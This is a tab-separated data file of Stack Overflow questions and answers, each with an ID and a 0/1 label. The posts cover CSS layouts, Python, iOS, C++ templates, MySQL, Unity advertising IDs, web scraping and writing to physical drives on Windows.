18354898	0	CSS Borders workaround <p>On a site I'm building I want to have a 3 coloured border <a href="http://i40.tinypic.com/2mw8lkj.jpg" rel="nofollow">example here</a> for the body. </p> <p>What is the easiest way to create this? </p> <p>I tried the following but it didn't work out how I expected it to: </p> <pre><code>&lt;div id="red"&gt; &lt;div id="white"&gt; &lt;div id="blue"&gt; &lt;!--SITE GOES HERE--&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; #red { width: 100%; height: 100%; padding: 16px; background: #CC092F; } #white { width: 100%; height: 100%; padding: 16px; background: white; position: absolute; z-index: 2; } #blue{ width: 100%; height: 100%; padding: 16px; background: #0C144E; position: absolute; z-index: 3; } </code></pre> <p>The problem with that is the padding pushes the divs offscreen, I realise I'm going about it the wrong way… (If i use percentages i.e. 98% it obviously scales, which I do not want) but I can't think of an alternative. Thanks in advance.</p>
19113164	0	 <p>I did some research and you can see the implementation I came up with here: <a href="http://jamessdixon.wordpress.com/2013/10/01/handling-images-in-webapi/">http://jamessdixon.wordpress.com/2013/10/01/handling-images-in-webapi/</a></p>
17108772	0	 <p>I fixed it by doing the following: <em>(this was done using the ADT version of Eclipse, but should be applicable)</em></p> <ul> <li>Project Properties > Java Build Path > Libraries (tab) <ul> <li>Remove each Library</li> <li>Then click Add Library </li> <li>Select the Android Classpath Container</li> <li>Click Next or Finish</li> </ul></li> </ul>
1017600	0	 <p>the mex endpoint is necessary during development as it provides an http location where the wsdl is built. the wsdl describes to the client how to communicate with the server through named pipes, or TCP/IP, or anything else. once the client app has built the proxy to the named pipes binding and set up the configuration, the mex endpoint is no longer necessary. hence, the mex endpoint can be removed prior to deployment through the environments if desired. </p>
26455304	1	Python draw n-pointed star with turtle graphics <p>My professor has asked our class to write a Python function that does as following:</p> <p>Draw a regular n-pointed star with side d - in a function named star(turtle, n, d)</p> <p>Here's the code that I have so far:</p> <pre><code>def star(turtle, n, d): angle = (180-((180*(n-2))/n))*2 for i in range(n): t.forward(d) t.left(angle) return angle </code></pre> <p>The problem that I am experiencing is that my function is only able to draw stars with odd numbers of corners (5, 7, 9-sided stars). When I ask it to draw a star with an even number of sides, it outputs polygon with sides n/2. So asking to draw an 8-sided star outputs a square, 6-sided gives a triangle, and so forth.</p> <p>I've tried altering the angle formula many times, but it never works with any given n.</p> <p>Thanks for helping!</p>
27690057	1	How to set all values of a complex dict to the same one? <p>Give a very complex dict <em>dict_a</em>, i.e., some key corresponses to simple value (level-<em>1</em>), but others many corresponse to another dict (level-<em>n</em>).</p> <p>My question is how to set all its values, whether level-<em>1</em> or level-<em>n</em>, to one single value, say 100.</p> <p>For example:</p> <pre><code>a = 10 b = {1: 11, 2: 22, 3{1: 13, 2: {4: 33}}} c = {1: a, 2: b} </code></pre> <p>how to set values of dict c to 0?</p>
35267099	0	iOS UITableViewCell autosizing bug <p>I've a <code>UITableViewCell</code> designed with <code>.xib</code> that use cell autosizing. In iOS 9 works well, but in iOS 8 cell doesn't expands itself, and the label inside remains with 1 line of text. If the cell go away from the screen and the came back (i.e. after a scrolling) all label are ok.</p> <p>Ideas? I think this is an iOS 8 bug.</p> <p><a href="https://i.stack.imgur.com/dcG5A.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/dcG5A.png" alt="enter image description here"></a> <a href="https://i.stack.imgur.com/OTzhA.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/OTzhA.png" alt="enter image description here"></a></p>
34307400	0	PHP Codeigniter site_url produce HTML link error <p>in my view, i try to print URL to my controller, below the code :</p> <pre><code>&lt;p id="demo"&gt; &lt;a href="&lt;?php echo site_url('HT');?&gt;"&gt; Goto Controller &lt;/a&gt; &lt;/p&gt; </code></pre> <p>However those code provide HTML link error like this :</p> <pre><code>&lt;a href="http://::1/cidLab/index.php/HT"&gt; Goto Controller &lt;/a&gt; </code></pre> <p>The link should be go to <strong><code>http://localhost/cidLab/index.php/HT</code></strong> but why must <strong><code>http://::1/</code></strong> ?</p> <p>I've try to use base_url, but still face same Error...</p>
21136310	0	How to get the correct information out of a dynamic layer with esri leaflet <p>Ok the problem is, that when i click on the map while having a dynamic layer on top of it the wrong information or no information is getting trough. </p> <p>The example to make it more understandable:</p> <p>The dynamic layer that will be added is:</p> <pre><code> vestigingLayer1 = L.esri.dynamicMapLayer("http://ags101.prvgld.nl/arcgis/rest/services/IBIS_bedrijventerrein_app/IBIS_bedrijventerrein_app/MapServer", { layers: [0], position: 'front', }) map.addLayer(vestigingLayer1); </code></pre> <p>The codepart that reacts on the mouseclick on the layer is:</p> <pre><code>map.on("click", function(e) { if(typeof vestigingLayer1 === 'undefined'){ } else{ vestigingLayer1.identify(e.latlng, function(data) { if(data.results.length &gt; 0) { // Popup toevoegen en informatie toevoegen popupText = "&lt;div style='overflow:scroll; max-width:250px; max-height:260px;'&gt;"; for (prop in data.results[0].attributes) { var val = data.results[0].attributes[prop]; if (val != 'undefined' &amp;&amp; val != "0" &amp;&amp; prop !="OBJECTID" &amp;&amp; prop != "Name") { popupText += "&lt;b&gt;" + prop.replace(" (Esri)",'') + "&lt;/b&gt;: " + val + "&lt;br&gt;"; } } popupText += "&lt;/div&gt;"; //Popup toevoegen op de plaats waar geklikt is. var popup = L.popup() .setLatLng(e.latlng) .setContent(popupText) .openOn(map); } }); } </code></pre> <p>so if you follow the code part via firebug you can see that in data the results always give the information of the same layer(1) or it has no results.</p> <p>Also a link to the working website to make it a bit more clear. <a href="http://geodev.prvgld.nl/geoapp/definitief/kaart.html" rel="nofollow">http://geodev.prvgld.nl/geoapp/definitief/kaart.html</a></p> <p>If someone knows the answer to this i'm really grateful for it.</p>
1632832	0	 <p>C++ does not have a base object that all objects inherit from, unlike Java. The usual approach for what you want to do would be to use <a href="http://www.parashift.com/c++-faq-lite/templates.html" rel="nofollow noreferrer">templates</a>. All the containers in the standard C++ library use this approach. </p> <p>Unlike Java, C++ does not rely on polymorphism/inheritance to implement generic containers. In Java, all objects inherit from <code>Object</code>, and so any class can be inserted into a container that takes an <code>Object</code>. C++ templates, however, are compile time constructs that instruct the compiler to actually generate a different class for each type you use. So, for example, if you have:</p> <pre><code>template &lt;typename T&gt; class MyContainer { ... }; </code></pre> <p>You can then create a <code>MyContainer</code> that takes <code>std::string</code> objects, and another MyContainer that takes <code>int</code>s. </p> <pre><code>MyContainer&lt;std::string&gt; stringContainer; stringContainer.insert("Blah"); MyContainer&lt;int&gt; intContainer; intContainer.insert(3342); </code></pre>
3633671	0	 <p>Well you can, although I have to warn you there are several problems with a layout like this. Be sure to understand them before using this. </p> <p>The HTML required is: </p> <pre><code>&lt;div id="container"&gt; &lt;div id="inside"&gt; &lt;div id="offside"&gt; &lt;/div&gt; &lt;div id="center"&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; </code></pre> <p>There are two layers of wrappers here. We using the usual <code>margin: 0 auto</code> technique with the outside container to center it, while the inside <code>div</code> gets a negative left margin equal to the width of the off-center <code>div</code>. </p> <pre><code>#container { width: 300px; margin: 0 auto; } #container #inside { margin-left: -100px; overflow: hidden; } #container #inside div { float: left; height: 400px; } #container #inside #offside { width: 100px; background-color: #ddd; } #container #inside #center { width: 300px; background-color: #f9f9f9; } </code></pre> <p>Have a look at it here: <a href="http://www.jsfiddle.net/DfArr/1/" rel="nofollow noreferrer">http://www.jsfiddle.net/DfArr/1/</a></p>
2853580	0	 <p>Try including slashes on the front:</p> <pre><code>RewriteRule ^/pokerbono/([a-zA-Z0-9_-]+)$ /pokerbono.php?id=$1 [L] </code></pre> <p><strong>UPD</strong>:</p> <p>This works in my environment:</p> <pre><code>RewriteEngine On RewriteRule ^qwe/([-_a-zA-Z0-9]*)$ qwe.php?id=$1 [L] </code></pre>
20137682	0	Custom Object empty after creation <p>I have a custom object: <code>Vendor</code> that extends <code>NSObject</code>. I am initiating it like so:</p> <pre><code>NSDictionary *vendorObj = [vendors objectAtIndex:i]; Vendor *vendor = [[Vendor alloc] initWithVendorInfo:vendorObj]; NSLog(@"VendorObj: %@", vendorObj); NSLog(@"Vendor: %@", vendor); </code></pre> <p>Here is what the class looks like:</p> <pre><code>@interface Vendor : NSObject @property (nonatomic, copy) NSString *name; @property (nonatomic, copy) NSString *description; - (id)initWithVendorInfo:(NSDictionary *)vendorDetails; @end @implementation Vendor - (id)initWithVendorInfo:(NSDictionary *)vendorDetails { self = [super init]; if(self) { _name = [vendorDetails[@"company_name"] copy]; _description = [vendorDetails[@"description"] copy]; } return self; } </code></pre> <p>If I NSLog <code>vendorObj</code> all the details are there. Once I initiate the <code>Vendor</code> object and NSLog it, the log shows:</p> <pre><code>2013-11-21 22:22:44.769 [48202:a07] Vendor: </code></pre> <p>I cannot seem to figure out why my object is nothing, no memory address, not even a null. What am I doing wrong here?</p>
10520559	0	 <p>I would do this in the <code>RowDataBound</code> event. </p> <pre><code>protected void GridView1_RowDataBound(object sender, GridViewRowEventArgs e) { var chk = e.Row.FindControl("CheckBox1") as CheckBox; if (chk != null) { var ddl = e.Row.FindControl("DropDownList1") as DropDownList; if (ddl != null) { //assign the JavaScript function to execute when the checkbox is clicked //pass in the checkbox element and the client id of the select chk.Attributes["onclick"] = string.Format("toggleSelectList(this, '{0}');", ddl.ClientID); } } } </code></pre> <p>The <code>toggleSelectList</code> function would look something like this:</p> <pre><code>toggleSelectList = function(el, selectID){ var selectElement = document.getElementById(selectID); if (selectElement){ selectElement.disabled = !el.checked; } } </code></pre>
7584314	0	 <p>Hmm, something like this?</p> <pre><code>$("body").click(function(e) { $("treeview").hide(); }); </code></pre>
32371116	0	 <p>I think its reasonable to say that most algorithms have a best and a worst case. If you think about algorithms in terms of Asymptotic Analysis you can say that a O(n) search algorithm will perform worse than a O(log n) algorithm. However if you provide the O(n) algorithm with data where the search item is early on in the data set and the O(log n) algorithm with data where the search item is in the last node to be found the O(n) will perform faster than the O(log n).</p> <p>However an algorithm that has to examine each of the inputs every time such as an Average algorithm won't have a best/worst as the processing time would be the same no matter the data.</p> <p>If you are unfamiliar with Asymptotic Analysis (AKA big O) I suggest you learn about it to get a better understanding of what you are asking.</p>
39850874	0	 <p>This is occurred due to HTML Pro module has different methods. That is partially different from DNN HTML Module. below is the code.</p> <pre><code> HtmlTextController htmlTextController = new HtmlTextController(); WorkflowStateController workflowStateController = new WorkflowStateController(); WorkflowStateInfo wsinfo = new WorkflowStateInfo(); int workflowId = wsinfo.WorkflowID; HtmlTextInfo htmlContents = htmlTextController.GetLatestHTMLContent(ModuleModId); HtmlTextInfo htmlContent = new HtmlTextInfo(); htmlContent.ItemID = -1; htmlContent.StateID = workflowStateController.GetFirstWorkflowStateID(workflowId); htmlContent.WorkflowID = workflowId; htmlContent.ModuleID = ModuleId; htmlContent.IsPublished = htmlContents.IsPublished; htmlContent.Approved = htmlContents.Approved; htmlContent.IsActive = htmlContents.IsActive; htmlContent.Content = htmlContents.Content; htmlContent.Summary = htmlContents.Summary; htmlContent.Version = htmlContents.Version; if (Tags != null &amp;&amp; Tags.Count &gt; 0) { foreach (KeyValuePair&lt;string, string&gt; tag in Tags) { if (htmlContent.Content.Contains(tag.Key)) { htmlContent.Content = htmlContent.Content.Replace(tag.Key, tag.Value); } } } htmlTextController.SaveHtmlContent(htmlContent, newModule); </code></pre> <p>And please add below reference to the code to refer the methods.</p> <pre><code>using DotNetNuke.Modules.HtmlPro; using DotNetNuke.Professional.HtmlPro; using DotNetNuke.Professional.HtmlPro.Components; using DotNetNuke.Professional.HtmlPro.Services; </code></pre>
18679732	0	 <p>If you're using em's then you first need to define a base value for the font. Ex.:</p> <p><code>body { font-size: 16px }</code></p> <p>Now 1em = 16px.</p> <p>Most browsers have a default user-agent font-size of 16px but you shouldn't rely on it. Set the base value then start using em's.</p>
35413974	0	 <p>I do not know why the accepted answer was selected, it does not remove any warnings when I run this code....</p> <p>I cannot confirm on your specific platform, but adding casts to each string constant has made the warnings go away for me.</p> <pre><code>#include &lt;unistd.h&gt; main() { char* const args[] = {(char*)"/bin/ls", (char*)"-r", (char*)"-t", (char*)"-l", (char*) 0 }; execv("/bin/ls", args); } </code></pre> <p>OR</p> <pre><code>#include &lt;unistd.h&gt; main() { char *args[] = {(char*)"/bin/ls", (char*)"-r", (char*)"-t", (char*)"-l", (char*) 0 }; execv("/bin/ls", args); } </code></pre> <p>It may be overly verbose and annoying, but the warnings go away.</p> <p>I'm running this on: g++ (Ubuntu 4.8.4-2ubuntu1~14.04) 4.8.4</p>
5143719	0	 <p>A relative path is specified like this:</p> <pre><code>System.IO.File.ReadAllLines("myfile.txt"); </code></pre> <p>which will search <code>myfile.txt</code> relative to the working directory executing your application. It works also with subfolders:</p> <pre><code>System.IO.File.ReadAllLines(@"sub\myfile.txt"); </code></pre> <p>The <code>MapPath</code> function you are referring to in your question is used in ASP.NET applications and allows you to retrieve the absolute path of a file given it's virtual path. For example:</p> <pre><code>Server.MapPath("~/foo/myfile.txt") </code></pre> <p>and if your site is hosted in <code>c:\wwwroot\mysite</code> it will return <code>c:\wwwroot\mysite\foo\myfile.txt</code>.</p>
26721206	0	Mixing HAVING with CASE OR Analytic functions in MySQL (PartitionQualify(? <p>I have a SELECT query that returns some fields like this:</p> <pre><code>Date | Campaign_Name | Type | Count_People Oct | Cats | 1 | 500 Oct | Cats | 2 | 50 Oct | Dogs | 1 | 80 Oct | Dogs | 2 | 50 </code></pre> <p>The query uses aggregation and I only want to include results where when Type = 1 then ensure that the corresponding Count_People is greater than 99.</p> <p>Using the example table, I'd like to have two rows returned: Cats. Where Dogs is type 1 it's excluded because it's below 100, in this case where Dogs = 2 should be excluded also.</p> <p>Put another way, if type = 1 is less than 100 then remove all records of the corresponding campaign name.</p> <p>I started out trying this:</p> <pre><code>HAVING CASE WHEN type = 1 THEN COUNT(DISTINCT Count_People) &gt; 99 END </code></pre> <p>I used Teradata earlier int he year and remember working on a query that used an analytic function "Qualify PartitionBy". I suspect something along those lines is what I need? I need to base the exclusion on aggregation before the query is run?</p> <p>How would I do this in MySQL? Am I making sense?</p>
10603346	0	 <p>WCF does not directly works on abstract classes. You shall use KnownType attributes on the datacontract or service class. below are examples;</p> <pre><code>[DataContract] [KnownType(typeof(Client))] public class Contact { ... } [ServiceContract] [ServiceKnownType(typeof(Client))] public interface IMyService { contact getcontact(Guid id); } </code></pre>
442209	0	 <p>My guess is that it is a correlation between which tags are most often used together.</p> <p>For example:</p> <ul> <li>Question A tagged with tag1, tag2</li> <li>Question B tagged with tag1, tag3</li> <li>Question C tagged with tag1, tag2</li> </ul> <p>Then it's natural to assume that tag2 "is related to" tag1.</p> <p>I would say the best place to learn would be <a href="http://my.safaribooksonline.com/9780596529321" rel="nofollow noreferrer">O'Reilly's Programming Collective Intelligence book</a>.</p>
37976452	0	How can I move the first 2 pdf files in each folder in a directory (and each subdirectory) to a single folder using a batch file? <p>I have a directory that contains several hundred folders, many of which contain other folders, inside of which are anywhere from 6 or 7 to several hundred files of assorted types. I need a batch file that can copy the first 2 PDF files in each folder, including sub-folders, and add them to one, separate folder.</p> <p>I don't think it should make a difference, but not every folder contains 2 or more PDF files. Many contain only other folders, in which case those folders should be searched. Others contain just 1 PDF, in which case it should be added to the separate folder with the others.</p> <p>I have never written/used a batch file and any guidance, explanations or examples would be greatly appreciated.</p>
32516637	0	 <p>SQLite database file is just a normal file, you do not need any special steps to update it. </p> <p>Get the file path or URL to the SQLite file , and use <code>NSFileManager</code>'s method <code>removeItemAtPath:error:</code> or <code>removeItemAtURL:error:</code></p> <p>Then create the new database the same way you created the old one.</p> <p>Also check this <a href="http://www.musicalgeometry.com/?p=1736" rel="nofollow">link</a> if get any problem.</p> <p><strong>EDIT :</strong> You can delete your old <code>SQlite</code> database file if it's copied in document directory. You CAN NOT delete files from bundle.</p>
3666218	0	 <p>I think that in general the topics that you have picked are very important, and my give you the chance to do something more than the usual boring stuff. However, I believe that the order should be something like this:</p> <ol> <li>Data structures &amp; Algorithms</li> <li>Functional programming</li> <li>Software Design </li> <li>Specific technologies you need</li> </ol> <p>My opinion is that Algorithms and data structures should be first. It is very hard to study algorithms if you have a lot of other things in you head (good coding practices, lots of programming paradigms, etc.). Also with time, people tend to become more lazy, and lose the patience to get into the ideas of this complex matter. On the other hand, missing some fundamental understanding about how things can be represented or operate, may lead to serious flaws in understanding anything more sophisticated. So, assuming that you have some ideas about imperative programming (the usual stuff tаught in the introductory courses) you should enhance your knowledge with algorithms and data structures.</p> <p>It is important to have at least basic understanding of other paradigms. Functional programming is a good example. You may also consider getting familiar with logic programming. Having basic understanding of Algorithms and Data Structures will help you a lot in understanding how such languages work. I don't know whether Scala is the best language for that purpose, but will probably do. Alternatively, you can pick something more classic like Lisp, or Scheme. Haskell is also an interesting language.</p> <p>About the Design Patterns... knowing design patterns will help you in doing object oriented design, but you should be aware, that design patterns are just a set of solutions to popular problems. Knowing Design Patterns is by no means that same as knowing how to design software. In order to improve you software design skills you should study other materials too. A good example from where you can get understanding about these concepts is the book Code Complete, or the MIT course 6.170 (its materials are publicly available). </p> <p>At some point you will need to get into the details of a specific framework (or frameworks) that you will need for what you do. Keep in mind, that such frameworks change, and you should be able to adapt, and learn new technologies. For instance, knowing ASP.NET MVC now, may be worthless 5 years from now (or may not be, who knows?).</p> <p>Finally, keep in mind, that no matter what you read, you need to practice a lot, which means solving problems, writing code, designing software, etc. Most of these concepts can not be easily explained, or even expressed with words, so you will need to reach most of them by yourself, (that is, you will need to reinvent the wheel many times). </p> <p>Good luck with your career!</p>
14632866	0	 <p>If you want to use it more times in your program then it's maybe a good idea to make a custom class inherited from StreamReader with the ability to skip lines.</p> <p>Something like this could do:</p> <pre><code>class SkippableStreamReader : StreamReader { public SkippableStreamReader(string path) : base(path) { } public void SkipLines(int linecount) { for (int i = 0; i &lt; linecount; i++) { this.ReadLine(); } } } </code></pre> <p>after this you could use the SkippableStreamReader's function to skip lines. Example:</p> <pre><code>SkippableStreamReader exampleReader = new SkippableStreamReader("file_to_read"); //do stuff //and when needed exampleReader.SkipLines(number_of_lines_to_skip); </code></pre>
891767	0	How to transpernt white color to background color of image in flex? <p>I have an image and i want to remove white color from image.</p> <p>That removing color is same like its background color. If anybody have any idea of this problem please answer?</p> <p>And my application in Flex 3 so please send me action script code of this problem.Thank you </p>
24443008	0	Deleting memory from function C++ <p>I'm having trouble freeing my memory I'm using and a little confused how I would go about doing it. When I do it with the code below i get an error "Heap Corruption Detected... CRT detected that the application wrote to memory after end of heap buffer". I also debugged to make sure there is a memory leak using the Crtdb and there is a leak on that variable. Just am confused how to free it.</p> <pre><code>#include &lt;iostream&gt; #include &lt;string.h&gt; using namespace std; void adjustVar(char*&amp; pointer, size_t i) { pointer = new char[i]; } int main(void) { const char* org = "HELLOWORLD"; char* p = nullptr; size_t size = strlen(org); adjustVar(p, size); memset(p, 0, size+1); strncpy(p, org, size); cout &lt;&lt; p &lt;&lt; endl; delete[] p; return 0; } </code></pre>
6088051	0	 <p>That loop can't possibly end during your lifetime. <code>10 ** 100</code> is a really really enormous number. It's bigger than the number of particles in the universe, it's bigger than the number of the tiniest time periods that have passed since the creation of the universe. On an impossibly fast computer - <code>3 * 10 ** 46</code> millennia for the loop to complete. To calculate an infinite sum you'd wish to calculate until the sum has stopped changing significantly (e.g. the summands have fallen under certain very small threshold).</p> <p>Also, <code>xrange</code> and <code>range</code> in Python 2 are limited to the platform's long integers, which means that you can't have numbers higher than 2 ** 31 on a 32 bit machine and 2 ** 63 on a 64 bit one, (the latter is still too big to ever complete in your lifetime), this is why you get an <code>OverflowError</code> in Python 2. In Python 3 you'd get no error, but the summation will continue forever.</p> <p>And calculation factorial of such a large number is even slower, so you don't have a chance to ever exceed the maximum even on a 32 bit machine.</p> <p>Search for a function for calculating infinite sums, or do it yourself</p> <pre><code>&gt;&gt;&gt; from __future__ import division &gt;&gt;&gt; import itertools &gt;&gt;&gt; from math import factorial, cos, e &gt;&gt;&gt; for t in [0, 0.01, 0.02, 0.03, 0.04, 0.05, 0.06, 0.07, 0.08, 0.09, 0.1]: ... summables = ((4 ** (2 * n) * cos(2 * n * t)) / (e ** 16 * factorial(n)) ... for n in itertools.count()) ... print 0.5 * (1 + sum(itertools.takewhile(lambda x: abs(x) &gt; 1e-80, summables))) ... 1.0 0.973104754771 0.89599816753 0.77928588758 0.65382602277 0.569532373683 0.529115621076 0.512624956755 0.505673516974 0.502777962546 0.501396442319 </code></pre> <p>Also, I do not recognize the formula, but is this supposed to be <code>(e ** 16) * factorial(n)</code> or <code>e ** (16 * factorial(n))</code>? I just want to point out that you've written the former because of the other answer.</p>
34582610	0	Unity Android Get Google Play Advertising ID <p>I'm attempting to get the google play advertising ID in Unity but it doesn't seem to be working at all.</p> <p>Here's the code I'm using that I've found in a couple SO's like <a href="http://stackoverflow.com/questions/28179150/getting-the-google-advertising-id-and-limit-advertising">this one</a>:</p> <pre><code> AndroidJavaClass up = new AndroidJavaClass ("com.unity3d.player.UnityPlayer"); AndroidJavaObject currentActivity = up.GetStatic&lt;AndroidJavaObject&gt; ("currentActivity"); AndroidJavaClass client = new AndroidJavaClass ("com.google.android.gms.ads.identifier.AdvertisingIdClient"); AndroidJavaObject adInfo = client.CallStatic&lt;AndroidJavaObject&gt; ("getAdvertisingIdInfo",currentActivity); advertisingID = adInfo.Call&lt;string&gt; ("getId").ToString(); using(AndroidJavaClass pluginClass = new AndroidJavaClass("example.com.Toast")) { if(pluginClass != null) { toastClass = pluginClass.CallStatic&lt;AndroidJavaObject&gt;("getInstance"); activityContext.Call("runOnUiThread", new AndroidJavaRunnable(() =&gt; { toastClass.Call("toastMessage", advertisingID); })); } } </code></pre> <p>I have to do this on an actual device and haven't found a good way to actually log anything save a Toast message, which doesn't display anything here. But if I do this (which gets the android device ID) the toast displays just fine.</p> <pre><code> AndroidJavaClass up = new AndroidJavaClass ("com.unity3d.player.UnityPlayer"); AndroidJavaObject currentActivity = up.GetStatic&lt;AndroidJavaObject&gt; ("currentActivity"); AndroidJavaObject contentResolver = currentActivity.Call&lt;AndroidJavaObject&gt; ("getContentResolver"); AndroidJavaClass secure = new AndroidJavaClass ("android.provider.Settings$Secure"); string android_id = secure.CallStatic&lt;string&gt; ("getString", contentResolver, "android_id"); </code></pre> <p>Any idea what I should be doing to get the Google Play Advertising ID?</p> <p>I've also tried doing it within the jar code itself natively like this:</p> <pre><code>AsyncTask&lt;Void, Void, String&gt; task = new AsyncTask&lt;Void, Void, String&gt;() { @Override protected String doInBackground(Void... params) { AdvertisingIdClient.Info idInfo = null; try { idInfo = AdvertisingIdClient.getAdvertisingIdInfo(ToastCLass.getInstance().context); } catch (GooglePlayServicesNotAvailableException e) { e.printStackTrace(); } catch (GooglePlayServicesRepairableException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } String advertId = null; try{ advertId = idInfo.getId(); }catch (NullPointerException e){ e.printStackTrace(); } return advertId; } @Override protected void onPostExecute(String advertId) { Toast.makeText(ToastClass.getInstance().context, advertId, Toast.LENGTH_LONG).show(); } }; task.execute(); </code></pre> <p>But that just causes an error on my app when it runs (I think because it's trying to run the AsyncTask on the UI thread?). Again hard, as I haven't really found a way to display the logs/errors.</p> <p>It seems if I run my app on an emulator I can get to a log, which does help with logging out the info.</p>
37419607	0	 <p>If you set:</p> <pre><code>$this-&gt;table = 'selstock_product'; </code></pre> <p>Prestashop will look for a Key Column named <code>Id_{tablename}</code> , so, you need to rename your PK Field according to the prestashop sintax, That is: <code>Id_selstock_product</code></p> <p>greetings</p>
31658826	0	Scraping dynamic web pages using Python 3.4 and beautifulsoup <p>OK, using Python 3.4 and beautifulsoup4 on a windows 7 VM. Having trouble scraping the data resulting from making a selection with a drop-down list. As a learning experience, I'm trying to write a scraper that can select the 4 year option on this page: <a href="http://www.nasdaq.com/symbol/ddd/historical" rel="nofollow">www.nasdaq.com/symbol/ddd/historical</a> and print the rows of the resulting table. So far, it just prints out the default 3 month table, along with some junk at the beginning that I don't want. Eventually I would like to scrape this data and write it to DB using mysql python connector, but for now I would just like to figure out how to make the 4 year selection in the drop down list. (also, would like to get rid of the text encoding that causes it to be in the b'blahblah' format. My code so far:</p> <pre><code>from bs4 import BeautifulSoup import requests url = 'http://www.nasdaq.com/symbol/ddd/historical' with requests.Session() as session: session.headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.115 Safari/537.36'} response = session.get(url) soup = BeautifulSoup(response.content) data = { 'ddlTimeFrame': '4y' } response = session.post(url, data=data) soup = BeautifulSoup(response.content) for mytable in soup.find_all('tbody'): for trs in mytable.find_all('tr'): tds = trs.find_all('td') row = [elem.text.strip().encode('utf-8') for elem in tds] print (row) </code></pre> <p>I get no errors, but it doesn't print out the 4 year data. Thanks for your time/patience/help!</p>
7417636	0	 <p>Personally I would store them separately as you can handle the data a lot easier. Also, what if the person has a space in their name or accidentally puts it and you want just a first or second name, how ill you determine first or second names if that happens?</p> <p>EDIT:</p> <p>Also, if you want to store more detailed names, I would make a whole range of columns for Prefix, First, Middle, Last and anything you can think of.</p>
30773514	0	 <p>Create a Map of your words and occurencies. </p> <pre><code>import java.util.*; public class TestDummy { public static void main(String args[]) { String arr[] = { "lady", "bird", "is", "bird", "lady", "cook" }; Map&lt;String, Integer&gt; dictionary = new TreeMap&lt;&gt;(); int len = arr.length; System.out.println("Size " + len); for (int i = 0; i &lt; len; i++) { if (dictionary.containsKey(arr[i])) { dictionary.put(arr[i], dictionary.get(arr[i]) + 1); System.out.format("Duplicate %s%n", arr[i]); } else { dictionary.put(arr[i], 1); } } } } **Output** Size 6 Duplicate bird Duplicate lady </code></pre>
38639066	0	Angular textarea validation error <p>I have a textarea in my app like so:</p> <pre><code>&lt;textarea type="text" class="form-control" name="bioBackground" ng-model="obj.background" value="obj.background" ng-change="autosave()" maxlength="1500" required&gt;&lt;/textarea&gt; </code></pre> <p>This is a <strong>required</strong> field and as you can see I have added a required tag in the code. But this required tag is causing errors with Angular.</p> <p>For example:</p> <p>If I type in the field and backspace and remove all the text it removes the object from the scope. see example below:</p> <p><strong>Before Backspacing</strong></p> <p>You can see background variable is in the scope.</p> <p><a href="https://i.stack.imgur.com/wnnHP.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/wnnHP.png" alt="enter image description here"></a></p> <p><strong>After backspacing and removing the text:</strong></p> <p>You can see the background variable is gone from scope.</p> <p><a href="https://i.stack.imgur.com/Lp1vA.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/Lp1vA.png" alt="enter image description here"></a></p> <p><strong>This only happens if I use required tag. If I don't use the required tag it works fine and even after removing all the text the background variable stays within the scope.</strong></p> <p>What am I doing wrong.</p>
19538586	0	 <p>Take a look at my implementation of MVVM Navigation via an Interface and it's implementation</p> <p>It's as simple as doing <code>_navigationService.Navigate&lt;Map&gt;(false);</code></p> <p>(I'm navigating to the ViewModel Map, and my NavigationService just knows that X ViewModel is mapped to X.xaml page!) </p> <p>More at <a href="https://github.com/cmorgado/MultiPlatform" rel="nofollow">https://github.com/cmorgado/MultiPlatform</a></p>
2616378	0	can't write to physical drive in win 7? <p>I wrote a disk utility that allowed you to erase whole physical drives. it uses the windows file api, calling :</p> <pre><code>destFile = CreateFile("\\\\.\\PhysicalDrive1", GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING,createflags, NULL); </code></pre> <p>and then just calling <code>WriteFile</code>, and making sure you write in multiples of sectors, i.e. 512 bytes.</p> <p>this worked fine in the past, on XP, and even on the Win7 RC, all you have to do is make sure you are running it as an administrator. </p> <p>but now I have retail Win7 professional, it doesn't work anymore! the drives still open fine for writing, but calling <code>WriteFile</code> on the successfully opened Drive now fails!</p> <p>does anyone know why this might be? could it have something to do with opening it with shared flags? this is always what I have done before, and its worked. could it be that something is now sharing the drive? blocking the writes? is there some way to properly "unmount" a drive, or at least the partitions on it so that I would have exclusive access to it? </p> <p>some other tools that used to work don't any more either, but some do, like the WD Diagnostic's erase functionality. and after it has erased the drive, my tool then works on it too! leading me to believe there is some "unmount" process I need to be doing to the drive first, to free up permission to write to it. </p> <p>Any ideas?</p> <p>Update:</p> <p>the error code returned from <code>WriteFile</code> is '5', <code>ERROR_ACCESS_DENIED</code> but again, if I 'erase' the drive first using WD Diag, I can then access and write to the drive fine. when I initialize the drive again, and give it a partition, I go back to getting the <code>ERROR_ACCESS_DENIED</code> error.</p>
32331515	0	How can I get term aggregation to match a total string? <p>I have a some data that I'm aggregating with elasticsearch 1.5.2 and when I do a terms aggregation on a field like <code>city</code> the buckets don't match full strings from the field. Ex.) If city is St. Louis then one bucket would be <code>St.</code> and the other <code>Louis</code>. Does anyone know how to make sure that when it aggregates it goes into a <code>St. Louis</code> bucket?</p> <p>note: This may be caused from the data being analyzed which I'm pretty sure breaks up strings when comparing and searching etc. </p>
1502993	0	 <p>I am the one who asks the question. In fact, the tool the closest to my needs seems to be <a href="http://www.lacusveris.com/PythonTidy/" rel="nofollow noreferrer">PythonTidy</a> (it's a Python program of course : Python is best served by himself ;) ).</p>
